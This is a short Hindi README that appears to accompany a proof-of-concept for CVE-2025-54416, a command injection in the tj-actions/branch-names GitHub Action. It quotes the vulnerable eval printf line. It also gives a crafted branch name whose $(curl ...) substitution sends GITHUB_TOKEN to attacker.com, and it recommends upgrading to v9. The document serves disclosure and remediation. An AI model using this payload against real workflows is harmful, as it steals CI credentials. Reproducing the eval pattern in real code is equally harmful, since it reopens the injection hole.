
CVE-2025-54416 tj-actions/branch-names कमांड इंजेक्शन के लिए प्रमाण-अवधारणा
यह रिपॉजिटरी CVE-2025-54416 का प्रदर्शन करता है, जो tj-actions/branch-names में एक महत्वपूर्ण कमांड इंजेक्शन भेद्यता है, जो 5,000 से अधिक सार्वजनिक रिपॉजिटरी को प्रभावित करती है।
tj-actions/branch-names GitHub Action (संस्करण <= 8.2.1) असुरक्षित eval printf "%s" का उपयोग करता है जो उचित सफाई के बाद कमांड इंजेक्शन जोखिमों को पुनः प्रस्तुत करता है।
# tj-actions/branch-names में असुरक्षित कोड पैटर्न:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] का उपयोग करता हैशाखा का नाम: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
जब वर्कफ़्लो चलता है:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# वास्तविक आउटपुट: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# $(...) का मूल्यांकन शेल द्वारा किया जाता है, GITHUB_TOKEN को बाहर निकालता है
tj-actions/branch-names@v9 या बाद के संस्करण पर अपडेट करें, जो eval printf "%s" को सुरक्षित printf कॉल से बदल देता है।